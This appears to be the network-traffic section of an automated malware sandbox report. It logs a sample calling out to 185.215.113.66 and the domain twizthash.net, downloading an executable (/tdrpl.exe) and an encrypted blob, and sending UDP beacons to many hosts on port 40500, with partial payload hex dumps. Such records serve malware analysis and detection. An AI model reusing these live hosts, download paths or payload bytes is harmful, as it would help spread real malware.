Oct 26, 2024 07:28:08.943833113 CEST	50020	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:08.949275970 CEST	80	50020	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:08.949368000 CEST	50020	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:08.950253010 CEST	50020	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:08.955666065 CEST	80	50020	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:09.853734016 CEST	80	50020	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:09.853780985 CEST	80	50020	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:09.853843927 CEST	80	50020	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:09.853866100 CEST	50020	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:09.853883028 CEST	80	50020	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:09.853904963 CEST	50020	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:09.853920937 CEST	80	50020	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:09.853931904 CEST	50020	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:09.853961945 CEST	80	50020	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:09.853970051 CEST	50020	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:09.854001999 CEST	80	50020	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:09.854007006 CEST	50020	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:09.854037046 CEST	80	50020	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:09.854043961 CEST	50020	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:09.854068041 CEST	80	50020	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:09.854077101 CEST	50020	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:09.854104996 CEST	80	50020	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:09.854110003 CEST	50020	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:09.854159117 CEST	50020	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:09.854768038 CEST	50020	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:09.854803085 CEST	50020	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:10.702508926 CEST	40500	50017	2.178.164.63	192.168.2.6
Oct 26, 2024 07:28:10.702641010 CEST	50017	40500	192.168.2.6	2.178.164.63
Oct 26, 2024 07:28:11.878298998 CEST	50021	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:11.885489941 CEST	80	50021	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:11.889779091 CEST	50021	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:11.889955044 CEST	50021	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:11.897690058 CEST	80	50021	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:12.297275066 CEST	50022	40500	192.168.2.6	5.237.148.223
Oct 26, 2024 07:28:12.305001020 CEST	40500	50022	5.237.148.223	192.168.2.6
Oct 26, 2024 07:28:12.305107117 CEST	50022	40500	192.168.2.6	5.237.148.223
Oct 26, 2024 07:28:12.306389093 CEST	50022	40500	192.168.2.6	5.237.148.223
Oct 26, 2024 07:28:12.311804056 CEST	40500	50022	5.237.148.223	192.168.2.6
Oct 26, 2024 07:28:12.311882019 CEST	50022	40500	192.168.2.6	5.237.148.223
Oct 26, 2024 07:28:12.312047958 CEST	50022	40500	192.168.2.6	5.237.148.223
Oct 26, 2024 07:28:12.317207098 CEST	40500	50022	5.237.148.223	192.168.2.6
Oct 26, 2024 07:28:12.365039110 CEST	40500	50022	5.237.148.223	192.168.2.6
Oct 26, 2024 07:28:12.788755894 CEST	80	50021	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:12.788774014 CEST	80	50021	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:12.788794994 CEST	80	50021	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:12.788806915 CEST	80	50021	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:12.788817883 CEST	80	50021	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:12.788842916 CEST	80	50021	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:12.788861036 CEST	50021	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:12.788862944 CEST	80	50021	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:12.788876057 CEST	80	50021	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:12.788887978 CEST	80	50021	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:12.788899899 CEST	80	50021	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:12.788904905 CEST	50021	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:12.788934946 CEST	50021	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:12.788934946 CEST	50021	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:12.790062904 CEST	50021	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:12.790064096 CEST	50021	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:12.794302940 CEST	80	50021	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:12.794375896 CEST	80	50021	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:12.794378042 CEST	50021	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:12.794425011 CEST	50021	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:12.794692993 CEST	80	50021	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:12.794742107 CEST	50021	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:14.525397062 CEST	5152	50008	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:14.593740940 CEST	50008	5152	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:14.885443926 CEST	50023	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:14.891196012 CEST	80	50023	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:14.891304970 CEST	50023	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:14.895416021 CEST	50023	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:14.901042938 CEST	80	50023	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:15.764585018 CEST	40500	50019	94.230.230.211	192.168.2.6
Oct 26, 2024 07:28:15.764695883 CEST	50019	40500	192.168.2.6	94.230.230.211
Oct 26, 2024 07:28:15.799163103 CEST	80	50023	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:15.799196005 CEST	80	50023	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:15.799232960 CEST	80	50023	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:15.799252987 CEST	80	50023	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:15.799280882 CEST	80	50023	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:15.799303055 CEST	80	50023	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:15.799300909 CEST	50023	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:15.799300909 CEST	50023	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:15.799333096 CEST	80	50023	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:15.799351931 CEST	80	50023	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:15.799370050 CEST	80	50023	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:15.799397945 CEST	80	50023	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:15.799406052 CEST	50023	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:15.799406052 CEST	50023	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:15.799407005 CEST	50023	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:15.799732924 CEST	50023	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:15.804799080 CEST	80	50023	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:15.804831028 CEST	80	50023	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:15.804896116 CEST	50023	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:15.931427002 CEST	50023	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:15.931509018 CEST	50023	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:17.312933922 CEST	50024	40500	192.168.2.6	37.151.113.156
Oct 26, 2024 07:28:17.318671942 CEST	40500	50024	37.151.113.156	192.168.2.6
Oct 26, 2024 07:28:17.318752050 CEST	50024	40500	192.168.2.6	37.151.113.156
Oct 26, 2024 07:28:17.319943905 CEST	50024	40500	192.168.2.6	37.151.113.156
Oct 26, 2024 07:28:17.327095032 CEST	40500	50024	37.151.113.156	192.168.2.6
Oct 26, 2024 07:28:17.327150106 CEST	50024	40500	192.168.2.6	37.151.113.156
Oct 26, 2024 07:28:17.327750921 CEST	50024	40500	192.168.2.6	37.151.113.156
Oct 26, 2024 07:28:17.333482027 CEST	40500	50024	37.151.113.156	192.168.2.6
Oct 26, 2024 07:28:17.375608921 CEST	40500	50024	37.151.113.156	192.168.2.6
Oct 26, 2024 07:28:18.260000944 CEST	50025	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:18.265351057 CEST	80	50025	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:18.265424013 CEST	50025	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:18.270478964 CEST	50025	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:18.275820017 CEST	80	50025	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:19.210041046 CEST	80	50025	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:19.210120916 CEST	50025	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:19.210283041 CEST	80	50025	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:19.210302114 CEST	80	50025	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:19.210346937 CEST	50025	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:19.210346937 CEST	50025	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:19.210366011 CEST	80	50025	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:19.210385084 CEST	80	50025	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:19.210405111 CEST	80	50025	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:19.210407972 CEST	50025	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:19.210418940 CEST	50025	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:19.210424900 CEST	80	50025	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:19.210463047 CEST	50025	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:19.211889982 CEST	80	50025	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:19.211910009 CEST	80	50025	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:19.211930037 CEST	80	50025	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:19.211951971 CEST	50025	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:19.211997986 CEST	50025	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:19.218785048 CEST	80	50025	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:19.218806982 CEST	80	50025	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:19.218871117 CEST	50025	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:19.218871117 CEST	50025	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:19.218914986 CEST	80	50025	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:19.218954086 CEST	50025	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:19.238321066 CEST	50025	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:19.238409042 CEST	50025	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:20.850712061 CEST	40500	50022	5.237.148.223	192.168.2.6
Oct 26, 2024 07:28:20.853806019 CEST	50022	40500	192.168.2.6	5.237.148.223
Oct 26, 2024 07:28:22.344497919 CEST	50026	40500	192.168.2.6	89.218.239.82
Oct 26, 2024 07:28:22.349926949 CEST	40500	50026	89.218.239.82	192.168.2.6
Oct 26, 2024 07:28:22.350003958 CEST	50026	40500	192.168.2.6	89.218.239.82
Oct 26, 2024 07:28:22.351888895 CEST	50026	40500	192.168.2.6	89.218.239.82
Oct 26, 2024 07:28:22.357206106 CEST	40500	50026	89.218.239.82	192.168.2.6
Oct 26, 2024 07:28:22.358297110 CEST	50026	40500	192.168.2.6	89.218.239.82
Oct 26, 2024 07:28:22.363743067 CEST	40500	50026	89.218.239.82	192.168.2.6
Oct 26, 2024 07:28:22.378230095 CEST	50026	40500	192.168.2.6	89.218.239.82
Oct 26, 2024 07:28:22.396002054 CEST	50016	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:28:22.396295071 CEST	50027	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:28:22.401588917 CEST	80	50027	91.202.233.141	192.168.2.6
Oct 26, 2024 07:28:22.401668072 CEST	50027	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:28:22.401784897 CEST	80	50016	91.202.233.141	192.168.2.6
Oct 26, 2024 07:28:22.401848078 CEST	50016	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:28:22.408170938 CEST	50027	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:28:22.413538933 CEST	80	50027	91.202.233.141	192.168.2.6
Oct 26, 2024 07:28:22.431446075 CEST	40500	50026	89.218.239.82	192.168.2.6
Oct 26, 2024 07:28:23.377285004 CEST	80	50027	91.202.233.141	192.168.2.6
Oct 26, 2024 07:28:23.377368927 CEST	50027	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:28:24.489023924 CEST	5152	50008	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:24.593633890 CEST	50008	5152	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:25.803725004 CEST	40500	50024	37.151.113.156	192.168.2.6
Oct 26, 2024 07:28:25.805289030 CEST	50024	40500	192.168.2.6	37.151.113.156
Oct 26, 2024 07:28:30.827493906 CEST	40500	50026	89.218.239.82	192.168.2.6
Oct 26, 2024 07:28:30.827867985 CEST	50026	40500	192.168.2.6	89.218.239.82

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 07:26:38.418675900 CEST	58415	40500	192.168.2.6	85.173.115.180
Oct 26, 2024 07:26:43.408273935 CEST	58415	40500	192.168.2.6	90.156.163.121
Oct 26, 2024 07:26:48.423352957 CEST	58415	40500	192.168.2.6	62.209.135.143
Oct 26, 2024 07:26:53.488631964 CEST	58415	40500	192.168.2.6	213.230.97.241
Oct 26, 2024 07:26:58.485910892 CEST	58415	40500	192.168.2.6	93.188.83.238
Oct 26, 2024 07:27:03.501939058 CEST	58415	40500	192.168.2.6	95.58.216.162
Oct 26, 2024 07:27:08.517327070 CEST	58415	40500	192.168.2.6	80.191.218.209
Oct 26, 2024 07:27:13.518976927 CEST	58415	40500	192.168.2.6	85.233.153.109
Oct 26, 2024 07:27:18.542857885 CEST	58415	40500	192.168.2.6	188.212.80.105
Oct 26, 2024 07:27:23.623497963 CEST	58415	40500	192.168.2.6	90.156.160.66
Oct 26, 2024 07:27:28.611115932 CEST	58415	40500	192.168.2.6	88.204.242.226
Oct 26, 2024 07:27:33.626704931 CEST	58415	40500	192.168.2.6	2.181.31.167
Oct 26, 2024 07:27:38.791275978 CEST	58415	40500	192.168.2.6	77.240.41.3
Oct 26, 2024 07:27:43.783471107 CEST	58415	40500	192.168.2.6	151.243.242.97
Oct 26, 2024 07:27:46.859021902 CEST	61521	53	192.168.2.6	1.1.1.1
Oct 26, 2024 07:27:46.869105101 CEST	53	61521	1.1.1.1	192.168.2.6
Oct 26, 2024 07:27:48.799926996 CEST	58415	40500	192.168.2.6	178.91.91.225
Oct 26, 2024 07:27:53.827913046 CEST	58415	40500	192.168.2.6	91.246.92.22
Oct 26, 2024 07:27:58.869481087 CEST	58415	40500	192.168.2.6	78.39.234.9
Oct 26, 2024 07:28:03.901884079 CEST	58415	40500	192.168.2.6	197.165.192.61
Oct 26, 2024 07:28:08.907762051 CEST	58415	40500	192.168.2.6	90.156.163.55
Oct 26, 2024 07:28:13.935565948 CEST	58415	40500	192.168.2.6	94.158.52.97
Oct 26, 2024 07:28:18.924523115 CEST	58415	40500	192.168.2.6	46.100.164.239
Oct 26, 2024 07:28:23.940145016 CEST	58415	40500	192.168.2.6	213.206.45.227

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 26, 2024 07:27:46.859021902 CEST	192.168.2.6	1.1.1.1	0xd1bd	Standard query (0)	twizthash.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 26, 2024 07:26:15.573611021 CEST	1.1.1.1	192.168.2.6	0x3e00	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 07:26:15.573611021 CEST	1.1.1.1	192.168.2.6	0x3e00	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 26, 2024 07:27:46.869105101 CEST	1.1.1.1	192.168.2.6	0xd1bd	No error (0)	twizthash.net		185.215.113.66	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

185.215.113.66

185.215.113.84

91.202.233.141

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49763	185.215.113.66	80	5348	C:\Users\user\Desktop\Us051y7j25.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 07:26:25.910675049 CEST	282	OUT	GET /tdrpl.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 185.215.113.66 Connection: Keep-Alive
Oct 26, 2024 07:26:26.830950975 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:26:26 GMT Content-Type: application/octet-stream Content-Length: 85504 Last-Modified: Sun, 20 Oct 2024 18:13:32 GMT Connection: keep-alive ETag: "6715484c-14e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6d bb 70 6a 29 da 1e 39 29 da 1e 39 29 da 1e 39 20 a2 94 39 2e da 1e 39 51 a8 1f 38 2b da 1e 39 ea d5 43 39 2b da 1e 39 ea d5 41 39 28 da 1e 39 ea d5 11 39 2b da 1e 39 0e 1c 73 39 2d da 1e 39 29 da 1f 39 95 da 1e 39 0e 1c 65 39 3c da 1e 39 20 a2 9d 39 2d da 1e 39 20 a2 9a 39 35 da 1e 39 20 a2 8f 39 28 da 1e 39 52 69 63 68 29 da 1e 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 a4 84 07 67 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 ee 00 00 00 70 00 00 00 00 00 00 40 79 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$mpj)9)9)9 9.9Q8+9C9+9A9(99+9s9-9)99e9<9 9-9 959 9(9Rich)9PELgp@y@p\|0.text `.rdata?@@@.data.@2@
Oct 26, 2024 07:26:26.831015110 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b 6c 24 08 8b 45 20 56 33 f6 57 8b 7c 24 20 85 c0 74 1c 8b 4f 04 39 08 75 0a 66 Data Ascii: Ul$E V3W\|$ tO9ufPf;Wt@uu"j GfOfNU Vu L$\|$FD$PQtuS$NrdF;wX}xttSWTAuD$$MPSWU
Oct 26, 2024 07:26:26.831069946 CEST	1236	IN	Data Raw: 00 8b f0 6a 01 6a 00 c7 06 70 64 75 00 c7 46 04 00 00 00 00 ff 15 98 00 41 00 6a 11 6a 02 6a 02 89 46 10 ff 15 34 02 41 00 89 46 08 83 f8 ff 75 0b 56 e8 5b fe ff ff 83 c4 04 33 f6 85 f6 0f 84 90 00 00 00 33 c0 89 44 24 0e 89 44 24 12 89 44 24 16 Data Ascii: jjpduFAjjjF4AFuV[33D$D$D$fD$D$ WD$fL$0AjT$(RjfD$D$0FhPAVjL$QRAuV^[3_jjVh@jj^AF^[_FS2Ul$;Fv
Oct 26, 2024 07:26:26.831103086 CEST	636	IN	Data Raw: 24 51 52 50 ff 15 54 02 41 00 f6 44 24 24 08 74 6d 83 7c 24 34 00 75 66 81 3b 50 43 4f 49 75 5e 8b 43 14 8d 4c 24 10 51 8d 54 24 18 52 50 c7 44 24 1c 10 00 00 00 ff 15 68 02 41 00 83 f8 ff 74 3d 50 8b c3 e8 05 09 00 00 8b f0 83 c4 04 85 f6 74 2c Data Ascii: $QRPTAD$$tm\|$4uf;PCOIu^CL$QT$RPD$hAt=Pt,dQS3ktu>ilciu=4At$+=r>s VA{8t$`tuVAVAr+='rgC PAs8tBjVR
Oct 26, 2024 07:26:26.831139088 CEST	1236	IN	Data Raw: e8 ed fe ff ff 8a d8 83 c4 04 84 db 74 37 8d af 44 02 00 00 55 ff 15 f4 00 41 00 8b 87 5c 02 00 00 85 c0 74 0c 89 46 38 8b 97 5c 02 00 00 89 72 34 55 89 b7 5c 02 00 00 ff 15 f8 00 41 00 5e 5d 5f 8a c3 5b c3 8b 46 2c 50 e8 24 8f 00 00 56 e8 1e 8f Data Ascii: t7DUA\tF8\r4U\A^]_[F,P$V^]_[`S`AUW3PD$D$WD$PL$Qj$URtDXA=t5=3'u7j8A`3PWD$D$D$PL$QjURu_][_]2[
Oct 26, 2024 07:26:26.831171989 CEST	1236	IN	Data Raw: 0b 51 6a 04 68 ff ff 00 00 50 c6 44 24 1b 01 ff 15 18 02 41 00 8b 4c 24 44 33 c0 89 44 24 0a 89 44 24 0e 89 44 24 12 66 89 44 24 16 8b 44 24 40 ba 02 00 00 00 51 66 89 54 24 0c 89 44 24 10 ff 15 30 02 41 00 6a 10 8d 54 24 0c 66 89 44 24 0e 8b 46 Data Ascii: QjhPD$AL$D3D$D$D$fD$D$@QfT$D$0AjT$fD$FRPAyNhQ@AteHAFtXVjPRPAtFW39~vFjjVhP@jPjG;~rNjjVh @jQL_^8V[3^8L$3
Oct 26, 2024 07:26:26.831206083 CEST	1236	IN	Data Raw: 0c 0f 83 89 00 00 00 8b 4d 08 8b 51 08 89 55 f4 8b 45 0c c1 e0 02 50 e8 9e 83 00 00 83 c4 04 89 45 f0 8b 4d 08 8b 11 89 55 f8 83 7d f0 00 75 1c 8b 45 f4 50 8b 4d f8 51 e8 9d 11 00 00 83 c4 08 8b 55 f8 52 e8 81 85 00 00 83 c4 04 8b 45 f4 c1 e0 02 Data Ascii: MQUEPEMU}uEPMQUREPMQUREPMQjURNEMUEBMQUEEM;MsUM3]UEHQUP8EMM
Oct 26, 2024 07:26:26.831234932 CEST	236	IN	Data Raw: 00 00 00 8b 4d f0 89 4d ec 8b 55 e0 89 55 d4 8b 45 d4 33 d2 f7 75 f4 89 45 f0 8b 45 f0 0f af 45 f4 8b 4d d4 2b c8 89 4d e8 8b 55 e8 c1 e2 10 0b 55 d0 89 55 d4 81 7d f0 00 00 01 00 74 0c 8b 45 f0 0f af 45 d8 3b 45 d4 76 3c 8b 4d f0 83 e9 01 89 4d Data Ascii: MMUUE3uEEEM+MUUU}tEE;Ev<MMUUUEEE}sMM;MvUUE%EMMMUREPMQUR;E%tMMUUUEEM
Oct 26, 2024 07:26:26.831267118 CEST	1236	IN	Data Raw: 08 89 01 8b 55 e0 89 55 d4 8b 45 d4 33 d2 f7 75 f4 89 45 f0 8b 45 f0 0f af 45 f4 8b 4d d4 2b c8 89 4d e8 8b 55 e8 c1 e2 10 0b 55 f8 89 55 d4 81 7d f0 00 00 01 00 74 0c 8b 45 f0 0f af 45 d8 3b 45 d4 76 3c 8b 4d f0 83 e9 01 89 4d f0 8b 55 e8 03 55 Data Ascii: UUE3uEEEM+MUUU}tEE;Ev<MMUUUEEE}sMM;MvUUE%EMMMUREPMQURUE%tMMUUUEE%MUE
Oct 26, 2024 07:26:26.831304073 CEST	1236	IN	Data Raw: 52 8b 45 c8 50 8b 4d 10 51 8b 55 0c 52 e8 b4 07 00 00 83 c4 10 89 45 f8 8b 45 0c 89 45 e4 8b 4d f8 89 4d dc 8b 55 cc 89 55 d0 eb 09 8b 45 d0 83 e8 01 89 45 d0 83 7d d0 00 0f 8c a3 01 00 00 c7 45 e8 00 00 00 00 8b 4d dc 89 4d e0 8b 55 d0 03 55 fc Data Ascii: REPMQUREEEMMUUEE}EMMUUELMUELQUREPMQE}t=EUUELMUEMLMUEM;LsE}}UUELQUELQUR
Oct 26, 2024 07:26:26.836692095 CEST	1236	IN	Data Raw: 4d d8 8b 55 fc 81 e2 00 00 00 80 f7 da 1b d2 f7 da 89 55 e0 8b 45 f8 d1 e0 89 45 f8 8b 4d fc d1 e1 89 4d fc 8b 55 fc 0b 55 d8 89 55 fc 8b 45 f8 03 45 e8 89 45 f8 8b 4d f8 3b 4d e8 73 14 8b 55 fc 83 c2 01 89 55 fc 75 09 8b 45 e0 83 c0 01 89 45 e0 Data Ascii: MUUEEMMUUUEEEM;MsUUuEEMMMU;UsEEMMUEEMMUE;sMMuUUEE;Eu'}t!MMMU;UsEEEMMUEMMUU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49814	185.215.113.66	80	1588	C:\Windows\sysppvrdnvs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 07:26:35.922713995 CEST	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 185.215.113.66
Oct 26, 2024 07:26:36.855973959 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:26:36 GMT Content-Type: application/octet-stream Content-Length: 110600 Last-Modified: Wed, 25 Sep 2024 06:10:18 GMT Connection: keep-alive ETag: "66f3a94a-1b008" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 02 38 79 12 a8 9a 87 6a 07 b8 bb 78 39 22 7b 5b 26 ab 0b 54 4c be 08 2c 0a 8d 4c c0 6e 44 be d8 37 30 4c 6e a5 cc 8b 4d 50 c1 42 a2 d2 65 ba a4 81 27 94 4c 70 56 4a a8 a2 db 67 f9 0c f5 59 c6 b2 c1 1f 8d 5d ac c3 89 ec 68 3d 86 ef fd bc 4f 74 28 e6 50 3a c2 d3 07 6a 6a 6f 46 93 04 e6 15 ed 32 79 1c 90 b2 fd 3a d3 50 40 82 62 8a ae c7 36 5d 75 bd eb d1 44 5c de f6 69 34 3c d2 0d d5 09 51 3f 8a ab d7 f4 f8 b8 08 5f 3b 5d fc f8 21 e5 8e 41 10 34 b5 41 17 01 ea 08 9c 89 31 0a ed 63 f0 73 61 5e 9c 2b 64 51 21 78 6c fb 36 51 ff f4 38 77 85 e5 03 61 37 3f e6 e7 5d 83 54 25 3a 1b d7 d8 85 48 d7 31 b5 b0 aa 09 24 0f 6a bf de 08 ac b0 8b 83 34 66 b3 6b 21 83 92 7f 70 f8 46 7a d3 76 9e 08 8b 91 ef 0f 01 96 12 82 3f 6c 18 f9 80 35 dd a9 85 c7 37 09 bc 2e 28 13 d8 dd c0 99 3d 63 89 73 04 0d 63 08 46 cd 7b f2 d1 2d c6 75 45 b7 38 d9 44 1a f4 db 85 9f 51 46 02 09 c3 7c ba 38 8a 65 79 13 33 27 a7 40 3c 4b 71 9e fc 22 53 f7 2d 93 90 3f fd b9 34 a0 73 cc df b8 7f 2e 91 a7 53 85 ba 32 d7 bf fe [TRUNCATED] Data Ascii: NGS!8yjx9"{[&TL,LnD70LnMPBe'LpVJgY]h=Ot(P:jjoF2y:P@b6]uD\i4<Q?_;]!A4A1csa^+dQ!xl6Q8wa7?]T%:H1$j4fk!pFzv?l57.(=cscF{-uE8DQF\|8ey3'@<Kq"S-?4s.S2j=eLeYh+[}AM,@gW\Z)ET/\|"bWRoj(\|A,>?1;>"&;ucy[t`w #cdyysGx_ChI]Dey.:FQQC 